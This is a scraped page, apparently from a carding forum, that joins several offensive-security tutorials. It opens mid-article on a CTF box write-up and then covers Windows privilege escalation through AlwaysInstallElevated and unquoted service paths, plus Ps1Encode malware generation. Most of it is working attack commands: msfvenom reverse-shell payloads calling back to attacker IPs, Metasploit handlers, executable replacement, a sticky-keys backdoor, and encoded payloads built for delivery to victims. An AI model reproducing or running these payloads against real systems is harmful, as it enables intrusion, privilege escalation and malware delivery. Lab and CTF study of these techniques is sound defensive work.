![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Ln6vIH6bsXU/W4Digg6q29I/AAAAAAAAZ4M/bBRtbSmBrlEK7aS5im5V0lv9eFpwwisVQCLcBGAs/s1600/13.png?w=687&ssl=1)
We create an ICMP reverse shell because few characters are blacklisted on the server.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-gWjh4g5MuIg/W4Dig1Bbe4I/AAAAAAAAZ4Q/JSlDyuU1PEA9_-YwmxTv4KvluVBXH4BywCLcBGAs/s1600/14.png?w=687&ssl=1)
We run it on the vulnerable page that we found earlier.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-3AfaOpKFozw/W4Dig6gK-VI/AAAAAAAAZ4U/E8w1QU6uFu0U6HvZkrqxEQBnc9Mgy5CMACLcBGAs/s1600/15.png?w=687&ssl=1)
We create our custom reverse shell (you can download [To see content please register here] ), we run it and after a few moments, we get a reverse shell. We take look at the c:\ directory and find a directory called “sysadmscripts”.
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-qFo9H6b891U/W4DihbtGrGI/AAAAAAAAZ4Y/5hludbgnSvgAQ-Uh4TFzFlFWJVxJSlZSwCLcBGAs/s1600/25.png?w=687&ssl=1)
We go to the root directory and find two files called “c.ps1” and “del_logs.bat”.
![[Image: 26.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-7maSUYFAkLQ/W4Dihjlt8II/AAAAAAAAZ4c/G8gWIBzeYmcH6-nBHBFJhetDz7AB0bfEQCLcBGAs/s1600/26.png?w=687&ssl=1)
We take a look at the content of the file and find that c.ps1 writes something inside a file that is passed as its argument. In “del_logs.bat” file it creates logs inside log.txt inside c:\windows\temp\ directory and finds that the time is changed every 5 minutes.
![[Image: 27.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-hBkf5QcgS98/W4Dih_r4tZI/AAAAAAAAZ4g/n5B-jQ7sNGUs9e51U9UYRxVQddCGFZnZACLcBGAs/s1600/27.png?w=687&ssl=1)
Now we check the permissions for both of these files with icacls and find that we have full permissions over c.ps1.
icacls c.ps1
1
icacls c.ps1
![[Image: 28.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-mM3XR4QCFdU/W4DiiA7FsjI/AAAAAAAAZ4k/OW29iYSjyz0Y9Gn8zoZCpOiDWkzXS9NwQCLcBGAs/s1600/28.png?w=687&ssl=1)
Now we change the original c.ps1 with our file so that we can try and get the user.txt and root.txt.
echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1
echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1
echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1
echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1
(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1
copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak
copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1
1
2
3
4
5
6
7
echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1
echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1
echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1
echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1
(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1
copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak
copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1
![[Image: 29.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-AeHsIggFJsc/W4DiiOCkDtI/AAAAAAAAZ4o/NvFclEgh0yY-ShoNovOvVZd0lEB44DPvACLcBGAs/s1600/29.png?w=687&ssl=1)
We wait for a few minutes for the PowerShell script to get executed and find that we were able to successfully able to extract “user.txt”. We open the file and find the first flag. We also zip file called “backup.zip”. Before looking in the zip backup file, we take a look at the content of “output.txt” and find that the file was in “c:\users\decoder.MINION\Desktop” directory.
![[Image: 30.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-1Be-r8zeR6M/W4DiimfeicI/AAAAAAAAZ4s/Ul8-E03OjjEXuiwBF71epWQ2eLhO9cMjwCLcBGAs/s1600/30.png?w=687&ssl=1)
Enumerating further backup.zip file we extract PASS from alternate data stream files.
get-content c:\temp\backup.zip -str pass
1
get-content c:\temp\backup.zip -str pass
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-6afcwY1jpOo/W4Diisb41OI/AAAAAAAAZ4w/0tVSWO79dmUc1-99l_JvVgISxAnIkJ3FwCLcBGAs/s1600/31.png?w=687&ssl=1)
We decode the NTLM hash using hashkiller.co.uk and find the password to be 1234test.
![[Image: 32.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-UXdd9jz3aII/W4Dii1Tt8NI/AAAAAAAAZ40/s74VJAzhoSMzATap0QcKw2_LjUrTRxLewCLcBGAs/s1600/32.png?w=687&ssl=1)
We mount the C$-Share using the credentials we found by cracking the hash.
net use * \\minion\c$ /user:minion\administrator 1234test
1
net use * \\minion\c$ /user:minion\administrator 1234test
![[Image: 33.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-AZXhEhNnpsE/W4DijO_bhjI/AAAAAAAAZ44/EMyzy8qFn-40BVn9LXmY7kKbAkVlhcHOACLcBGAs/s1600/33.png?w=687&ssl=1)
As we can see the hard disk got mounted as “Drive Z:”. We go to Z: drive and inside “z:\User\Administrator\Desktop”. We find two files called root.txt and root.exe when taking a look at the content of “root.txt” it tells us to run “root.exe”. We try to run root.exe but are unable to get a flag because we are not Administrator yet.
![[Image: 34.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-HN54SkiO-0s/W4DijZHxoRI/AAAAAAAAZ48/ESDOq3P3qgw1ifXQOBptEp2ByFsX08DGgCLcBGAs/s1600/34.png?w=687&ssl=1)
Let’s set users as administrator using $user and giving the password using $pass and then convert the string using convert-to-securestring-asplaintext-force using the PSCredetail we created the new object that further will help us to create a new session which will run the commands as administrator. Lastly, we will run the root.exe using the invoke-command. And as you can see in the given screenshot we have decoded successfully the securestring.
$user = "minion\administrator"
$pass = "1234test” | convert to-securestring – asplaintext –force
$cred = new-object –typename System.Managemet.Automation.PSCredential –argumentlist $user, $pass
$session = new-pssession minion –Credential $cred
invoke-command –Session $session {cd C:\users\administrator\desktop; .\root.exe}
1
2
3
4
5
$user = "minion\administrator"
$pass = "1234test” | convert to-securestring – asplaintext –force
$cred = new-object –typename System.Managemet.Automation.PSCredential –argumentlist $user, $pass
$session = new-pssession minion –Credential $cred
invoke-command –Session $session {cd C:\users\administrator\desktop; .\root.exe}
![[Image: 35.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-YqZXo47vyKs/W4DijtUhEtI/AAAAAAAAZ5A/08Ln0usL1tU3C3VlnABea4TToL2ers3AQCLcBGAs/s1600/35.png?w=687&ssl=1)
Hello Friends!! In this article, we are demonstrating the Windows privilege escalation method via the method of AlwaysInstallElevated policy. In penetration testing, when we spawn command shell as a local user, it is possible to exploit the vulnerable features (or configuration settings) of Windows Group policy, to further elevate them to admin privileges and gain the administrator access
Table of Content - Introduction
- Lab setup
- Spawn command shell as local user
- Escalate privilege manually via .msi payload (MSfvenom)
- Escalated privilege via Adding user Administrators Group (Msfvenom)
- Escalate privilege via Post exploit (Metasploit)
Introduction
AlwaysInstallElevated Policy
As we all are aware that Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. These MSI packages can be installed with elevated privileges for non-admin users
For this purpose, the AlwaysInstallElevated policy feature is used to install an MSI package file with elevated (system) privileges. This policy is enabled in the Local Group Policy editor; directs the Windows Installer engine to use elevated permissions when it installs any program on the system. This method can make a machine vulnerable posing a high-security risk because a non-administrator user can run installations with elevated privileges and access many secure locations on the computer.
Caution Note: This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting. Hence this should be used for the lab purposes only (and not in a Production environment)
Lab set-up
Victim’s Machine: Windows 7
Attacker’s machine: Kali Linux
To make this policy effective [i.e install a package with elevated (system) privileges], we need to ensure that victim machine is deliberately made vulnerable by enabling the AlwaysInstalledElevated Policy in the Computer Configuration and User Configuration folders of the Local Group Policy editor
For the Windows configuration
Type gpedit.msc in the Run dialog box of the Start Menu in the Windows 7 machine and the Local Group Policy editor window prompt will open
- Change the settings of AlwaysInstalledElevated policy
- For the Computer configuration
Navigate to the below path in the Windows machine
Computer Configuration\Administrative Templates\Windows Components\Windows Installer
Enable the Always install with elevated privileges
![[Image: 1.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-vT-MprzMrlo/W3luQX_-TrI/AAAAAAAAZ1U/KbMIQ4bG22YqFb6q6J7HMjmagdEnqiheQCLcBGAs/s1600/1.png?w=687)
For the User configuration
Navigate to the below path in the Windows machine
User Configuration\Administrative Templates\Windows Components\Windows Installer
Enable the Always install with elevated privileges
![[Image: 2.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-MLtGDvEuiLU/W3luRB5nVQI/AAAAAAAAZ1g/-8QEHIWoctAlZsbaXBnrfJ_JSvKihZ4AQCLcBGAs/s1600/2.png?w=687)
This completes the lab set up on the Windows machine.N ow let’s proceed to our actual task.
Spawning Victim’s Machine
We need to compromise the Windows victim machine at least once to gain the meterpreter session. As you can observe that we already have a victim’s meterpreter session. Let’s open the msfconsole and check the existing current sessions
msfconsole
sessions
1
2
msfconsole
sessions
As we can see that there exists a session already with ID 1. Now let’s open the session 1 and extract the user details
meterpreter > sessions 1
meterpreter >getuid
1
2
meterpreter > sessions 1
meterpreter >getuid
As we can see that we are logged into this session with the username as raj.
Note: The existing user “raj” already exists in the Windows 7 victim machine and is a non-admin user
![[Image: 3.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-kBPHLzs1haA/W3luRpg3VMI/AAAAAAAAZ1k/OGdfTOH9duUeZinKL_M7rd-02bUKGY4LACLcBGAs/s1600/3.png?w=687)
Now let’s open the command shell of the target machine
meterpreter >shell
1
meterpreter >shell
Upon executing the shell command, we would land into the user’s Downloads folder C:\Users\raj\Downloads
We will now run the registry query command on this command prompt so as to verify whether the Windows installer have elevated privileges or not, as per our settings configured earlier
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
1
2
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
As we can see from the output that the registry named “AlwaysInstallElevated” exists with a dword (REG_WORD) value of 0x1, which means that the AlwaysInstallElevated policy is enabled.
![[Image: 4.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-uL2vJwkASJA/W3luRs-UKXI/AAAAAAAAZ1o/tpK0G1TJ5xk7B-ZIy7EENw2DawfQISIaACLcBGAs/s1600/4.png?w=687)
Privilege Escalation via .msi payload (1st Method)
Now let’s open a new terminal in Kali machine and generate an MSI Package file (1.msi ) utilizing the Windows Meterpreter payload as follows
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4567 –f msi > /root/Desktop/1.msi
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4567 –f msi > /root/Desktop/1.msi
![[Image: 5.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-8O87GmwNRXQ/W3luRwCBIgI/AAAAAAAAZ1s/eVCQZvvj5kgINSJzKASp7mE8FWb1fiSqACLcBGAs/s1600/5.png?w=687)
On the existing Meterpreter session of the user, let’s upload our MSI file named 1.msi to the target machine as follows. Once it is uploaded successfully, we will then jump to the shell
upload /root/Desktop/1.msi .
1
upload /root/Desktop/1.msi .
Note: Before executing the MSI Package file, let’s start an MSF handler in another terminal window
(Refer to the commands for same, after the below screenshot)
Execute the MSI package file on the Windows command prompt
msiexec /quiet /qn /i 1.msi
1
msiexec /quiet /qn /i 1.msi
![[Image: 6.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-iqCA9D7_B5M/W3luSwM1D3I/AAAAAAAAZ1w/uy4PTBQ4thM3O7WvdS5mJokNuUFjTC2uQCLcBGAs/s1600/6.png?w=687)
/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation
In a parallel window, we opened a new handler before executing the .msi file
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.120
msf exploit(handler) > set lport 4567
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.120
msf exploit(handler) > set lport 4567
msf exploit(handler) > exploit
Finally, we got the meterpreter session using this exploit!! Let’s have further look at the details of the user privileges we gained on this system
meterpreter > getsystem
meterpreter > getuid
1
2
meterpreter > getsystem
meterpreter > getuid
Fantastic!! We have rooted in the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system.
![[Image: 7.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-sqqX0rbqU04/W3luTj8oidI/AAAAAAAAZ10/7aSHjHC3fx4jiXw5d79ULBcHyBcZ4HWHgCLcBGAs/s1600/7.png?w=687)
Adding user in Administrators Group (2nd Method)
In this method, we will choose a non-admin user from the existing list of users in the target machine and then try to elevate his privileges. Here we will send the relevant Windows commands (to the target machine), utilizing the windows/exec payload of the Metasploit.
First, let us check the details of existing users in the victim machine. Here we can select any user, lets; select a user named “raaz” who is a non-admin user
net user
1
net user
The verification that the user name “raaz” is in the Local Users group can be done by running the following in the command prompt
net user raaz
1
net user raaz
![[Image: 8.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-dlNngbnGubk/W3luTtT2AnI/AAAAAAAAZ14/mh8jybKjUB8wuVhQZvuNY81A5ZrJfX6hQCLcBGAs/s1600/8.png?w=687)
Generate an MSI package (2.msi ) with the windows/exec payload, that sends a command instructing to add local admin privileges for the user “raaz”, to the target machine.
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f msi > /root/Desktop/2.msi
1
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f msi > /root/Desktop/2.msi
![[Image: 9.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-Vafx0Dchl3g/W3luT2hIalI/AAAAAAAAZ18/rytdjpyKaG04UoKWUVZlYhzYLw4g6DCwQCLcBGAs/s1600/9.png?w=687)
Now let’s upload the MSI file 2.msi to the target machine as follows
Note: Before uploading the MSI file, press Ctrl+Z to exit out of the victim machine’s command shell
In the meterpreter shell type
upload /root/Desktop/2.msi .
1
upload /root/Desktop/2.msi .
Once the MSI file is uploaded successfully, we will take the command shell and execute the installer file
shell
msiexec /quiet /qn /i 2.msi
1
2
shell
msiexec /quiet /qn /i 2.msi
The verification that the user name “raaz” has been added into the local administrator group can be done by running the following in the command prompt
net user raaz
1
net user raaz
As we can see from the screenshot the user raaz is now a member of Local Administrators group
Awesome !! We have got the privileges of the non-admin user escalated via using the manual exploit.
![[Image: 10.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-9fH-J1EwFcw/W3luQ6ejhzI/AAAAAAAAZ1c/FrD7c17UD3cpEs3jS6gjpA-RPXaj5rqNwCLcBGAs/s1600/10.png?w=687)
Privilege Escalation via Metasploit Post Exploit (3rd Method)
In order to perform the Privilege escalation abusing the AlwaysInstalledElevated policy, we can also utilize the inbuilt exploit of the Metasploit module as follows :
Now let’s use this exploit
use exploit/windows/local/always_install_elevated
msf exploit(always_install_elevated) > set session 1
msf exploit(always_install_elevated) > exploit
1
2
3
use exploit/windows/local/always_install_elevated
msf exploit(always_install_elevated) > set session 1
msf exploit(always_install_elevated) > exploit
We got the meterpreter session using the in-built exploit as well !! Now let’s have further look at the details of the user privileges
meterpreter > getsystem
meterpreter > getuid
1
2
meterpreter > getsystem
meterpreter > getuid
Hurrah!! We have rooted in the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system
Note: We have shown one of the methodologies to elevate the privileges.T his lab can be performed in multiple ways, as there are many other methods of performing the Windows privilege escalation.
|
|
|
|
| [Guide] Windows Privilege Escalation (Unquoted Path Service) |
|
Posted by: NINZA - 05-14-2020, 09:37 AM - Forum: Carders Home
- No Replies
|
 |
In this article, we are demonstrating Windows privilege escalation via Unquoted service Path. In penetration testing when we spawn command shell as a local user, it is not possible to check restricted file or folder, therefore we need to escalated privileges to get administrators access.
Table of Content - Introduction
- Lab setup
- Spawn command shell as local user
- Escalated privilege via Prepend-migrate
- Escalated privilege via Adding user Administrators Group
- Escalated privilege via RDP & Sticky_keys
Unquoted service Path Vulnerability
Introduction
The vulnerability is related to the path of the executable that has a space in the filename and the file name is not enclosed in quote tags (“”). Also, if it has writable permissions, then an attacker can replace the executable file with its malicious exe file, so as to escalate admin privileges.
Lab set-up
Victim’s Machine: Windows 7
Attacker’s machine: Kali Linux
First, we have downloaded and installed a Vulnerable application naming photodex proshow in our windows system, which we found under [To see content please register here]
![[Image: 8.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-2ae4fjQbedk/W3cLAK6TOaI/AAAAAAAAZ00/ANz3Kr4dSSUJnEYOvHP6i1ySjfVVZAUYgCLcBGAs/s1600/8.png?w=687)
Spawning Victim’s Machine
We need to compromise the windows machine at least once to gain the meterpreter session. As you can observe we already have victim’s meterpreter session. Now let’s open the command shell from here.
![[Image: 9.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-NdIUb_-NLpo/W3cLAwX1gEI/AAAAAAAAZ04/6dez_ipF1BUTrhKNFVMYyf6AmLROUu4bQCLcBGAs/s1600/9.png?w=687)
shell
1
shell
As you can observe, we have shell access as local_user and to get cmd as administrator we need to escalate its privileges. Firstly we can enumerate out all the services that are running on the victim’s machine and discover those that are not bounded inside quotes tag with help of the following command:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
So we have enumerated following path: C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe as you can see, there is not quotes tag around the path and also space in the filename.
![[Image: 10.1.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-XggELFddlIQ/W3cK9Gg8BtI/AAAAAAAAZ0M/LAgVXJ4SNTgYeYCwJf-cKLm5068VL9_9QCLcBGAs/s1600/10.1.png?w=687)
Now let’s identify the folder permissions using the following command:
icacls scsiaccess.exe
1
icacls scsiaccess.exe
As you can observe it has writable permission for everyone which means user raj can overwrite this file.
![[Image: 10.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-_PVrl9_SzwQ/W3cK85tLd7I/AAAAAAAAZ0E/1IHh09hDlTwaDg9xkJvAjxcj8_WuL3QVQCLcBGAs/s1600/10.png?w=687)
Escalated privilege via Prepend-migrate
Now we can place any malicious exe file in the same folder that will give admin privilege when the service will be restarted, Windows will launch this executable instead of the genuine exe.
Open the terminal in kali Linux and type following command to generate exe payload using msfvenom.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prependmigrateprocess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prependmigrateprocess=explorer.exe -f exe > /root/Desktop/scsiaccess.exe
Above command will create a malicious exe file on the Desktop and now send this file to the victim. The payload migrates its process if the current process gets killed; hence the attacker will not lose his session if the victim kills the current process ID of the payload from its system.
![[Image: 11.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-erSKk9PO7as/W3cK8-G3d_I/AAAAAAAAZ0I/PKzuT9gklS8KQybZrrlJbeVMBbfaSy25ACLcBGAs/s1600/11.png?w=687)
Now replace the genuine executable file from the malicious exe, here I have renamed genuine Scsiaccess.exe to Scsiaccess.exe.orginal and uploaded malicious Scsiaccess.exe in the same folder and then reboot the victim’s machine.
move scsiaccess.exe scsiaccess.exe.orginal
upload /root/Desktop/scsiaccess.exe .
reboot
1
2
3
move scsiaccess.exe scsiaccess.exe.orginal
upload /root/Desktop/scsiaccess.exe .
reboot
![[Image: 12.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-UvGtC-JOzQ4/W3cK977hmfI/AAAAAAAAZ0U/pa630mvtYxgvRMjb6teDtgHQnHnPMk9mQCLcBGAs/s1600/12.png?w=687)
Simultaneously we have start multi/handler listener in a new terminal to catch the meterpreter session with admin privilege.
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
Yuppie!! And after some time we got a shell with admin privileges.
![[Image: 13.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-9j27YrgLrjs/W3cK94marSI/AAAAAAAAZ0Y/tURjuX4W_VYa4892z_Oim9ORyLT_1hDEQCLcBGAs/s1600/13.png?w=687)
Escalated privilege via Adding user Administrators Group
After spawning a shell as local_user, we enumerated all username list with or without admin privileges. So we found user:raaz is not a member of the admin group.
net user
net user raaz
1
2
net user
net user raaz
![[Image: 14.png?w=687]](https://i1.wp.com/3.bp.blogspot.com/-obNFPFYQOUE/W3cK97rpoVI/AAAAAAAAZ0Q/1ScFe2K5cz4FrmnsK5ufbWZwLLlXWL4SgCLcBGAs/s1600/14.png?w=687)
So again we generated an exe file which will add user:raaz into administrators group. The name of our exe file will be same i.e. Scsiaccess.exe
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe
1
msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe > /root/Desktop/scsiaccess.exe
![[Image: 15.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-awPfhnZpSwU/W3cK-vH4IiI/AAAAAAAAZ0c/yO5WIGZj65oIoEOY2yCunMXtZKHvsztJwCLcBGAs/s1600/15.png?w=687)
Now repeat the above steps, replace the genuine executable file from the malicious exe file and reboot the host machine.
![[Image: 16.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-Ap5abA8GSPQ/W3cK_DRf8MI/AAAAAAAAZ0g/vy4cix0qf7cOrgsr3dMCYf_R3DEuf88twCLcBGAs/s1600/16.png?w=687)
If you will notice the following image, you can observe that the user raaz has become a member of the Administrators group.
![[Image: 17.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-6Df9RVtr_bs/W3cK_VA92wI/AAAAAAAAZ0k/bxvjWan6JNIRTqU6o6hnTqBn4pJGrJbswCLcBGAs/s1600/17.png?w=687)
Escalated privilege via RDP & Sticky_keys
Generate an exe using msfvenom with similar name Scsiaccess.exe and then transfer into victim’s machine, meanwhile run multi handler with autorun script which will enable RDP service once the service gets restarted.
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit
1
2
3
4
5
6
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.107
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp
msf exploit(multi/handler) exploit
![[Image: 23.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-5emDwNwmZss/W3cK_cz8TYI/AAAAAAAAZ0o/6Cf3_mw2Ogopf8HaQVSlVB-sOiFVmqVlwCLcBGAs/s1600/23.png?w=687)
Similarly, we will set the autorun script to enable sticky_keys once the service restarts.
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys
msf exploit(multi/handler) run
1
2
msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys
msf exploit(multi/handler) run
As you can observe from the below screenshot, another meterpreter session (session 3) got opened which has administrative rights. Now let’s connect to the victim’s host via RDP.
rdesktop 192.168.1.101
1
rdesktop 192.168.1.101
![[Image: 24.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-kBVSR6_q-Ns/W3cK_4oPUkI/AAAAAAAAZ0s/yT_-Kzvf4P8V6JWVSY3CmisRpZ5RL3RHQCLcBGAs/s1600/24.png?w=687)
Now press shift_key 5 times continuously and you will get command prompt as administrator.
![[Image: 25.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-pWVmXvapKFY/W3cK_zXOryI/AAAAAAAAZ0w/oW5rv06HrLs_r-r_LYOs1gExZChpY_XvQCLcBGAs/s1600/25.png?w=687)
Source: //www.exploit-db.com/exploits/24872/
In this article, we will learn the Ps1Encode tool and how to use it by generating malware in different file formats such as HTA, EXE, etc.
Introduction
The working code of Ps1Encode is developed by Piotr Marszalik, Dev Kennedy with few others. Ps1Encode is used to generate a malicious payload in order to generate a meterpreter session. While generating the payload, it will encode it too. It is a different way to bypass Whitelisting and security on the target system. It’s developed in ruby and allows us to create a series of payloads which are based on Metasploit but can be prepared in any format we desire. The final aim is to get a PowerShell running and execute our payload through it.
There are various formats for our malware that are supported by Ps1Encode are the following :- raw (encoded payload only – no powershell run options)
- cmd (for use with bat files)
- vba (for use with macro trojan docs)
- vbs (for use with vbs scripts)
- war (tomcat)
- exe (executable) requires MinGW – x86_64-w64-mingw32-gcc [apt-get install mingw-w64]
- java (for use with malicious java applets)
- js (javascript)
- js-rd32 (javascript called by rundll32.exe)
- php (for use with php pages)
- hta (HTML applications)
- cfm (for use with Adobe ColdFusion)
- aspx (for use with Microsoft ASP.NET)
- lnk (windows shortcut – requires a webserver to stage the payload)
- sct (COM scriptlet – requires a webserver to stage the payload)
You can download Ps1Encode from [To see content please register here] using git clone command as shown in the image below :
![[Image: 1.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-FVGtsOCbtP0/XHjzmjIqtnI/AAAAAAAAdM8/XtyTyfJ4IqwHXMc4dprCHTJFTMiEnstWACLcBGAs/s1600/1.png?w=687)
Once it’s downloaded, let’s use the help command to check the syntax that we have to use. Use the following set of commands for that :
cd ps1encode/
ls
./ps1encode.rb -h
1
2
3
cd ps1encode/
ls
./ps1encode.rb -h
![[Image: 2.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-Bt2brjdHSRw/XHjzmmg-III/AAAAAAAAdNA/ymDInApS4LMghM8kK7jG8lnSSSVxfgSiQCLcBGAs/s1600/2.png?w=687)
Following are the syntaxes that we can use :
-i : defines localhost IP
-p : defines localhost port value
-a : defines payload value
-t : defines the output format
Now, we will generate a malicious raw file using the following command :
./ps1encode.rb -I 192.168.1.107 -p 8000 -a windows/meterpreter/reverse_https
1
./ps1encode.rb -I 192.168.1.107 -p 8000 -a windows/meterpreter/reverse_https
![[Image: 3.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-5yPJLreqAh4/XHjzn52j-8I/AAAAAAAAdNI/UutLCB3uJkgSyEx4lA68sYQ_GBVU6wgWwCLcBGAs/s1600/3.png?w=687)
Copy the code generated using the above command in the file with the extension.bat. and then share it by using the python server. You can start the server using the following command :
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 4.1.png?w=687]](https://i2.wp.com/1.bp.blogspot.com/-wkjQN_FJKVo/XHjzoVMQ5HI/AAAAAAAAdNM/KHqZPpaLhWQaMMcs5TroLJ1yFvH9dAnsACLcBGAs/s1600/4.1.png?w=687)
Simultaneously, start the multi handler to have a session with the following set of commands :
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
lport 8000
exploit
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
lport 8000
exploit
![[Image: 4.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-Sq4Hrcef6-Y/XHjzoSWdiEI/AAAAAAAAdNQ/yFJrgkKJaxQdIkymE6C4bcmPQEsv-jNHgCLcBGAs/s1600/4.png?w=687)
Once the file is executed in the victims’ PC, you will have your session as shown in the image above. Now we will generate our malware in the form of HTA file. Use the following command to generate the HTA file :
./ps1encode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverese_tcp -t hta
1
./ps1encode.rb -i 192.168.1.107 -p 4444 -a windows/meterpreter/reverese_tcp -t hta
![[Image: 5.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-8oXhDZ36nwY/XHjzokrUcbI/AAAAAAAAdNU/QEe6wReV09IKyrbJ5w-7W3qB4dU7eO3ZACLcBGAs/s1600/5.png?w=687)
Following script will be created due to the above command, send this file to the victim’s PC using python server like before.
![[Image: 6.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-9FS1sMeBxxU/XHjzpfA84BI/AAAAAAAAdNc/-mrUR6KUGrkxRuOmvezb-fp4VM9gfno4ACLcBGAs/s1600/6.png?w=687)
Simultaneously, start the multi handler to have a session with the following set of commands :
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.107
set lport 8000
exploit
1
2
3
4
5
use exploit/multi/handler
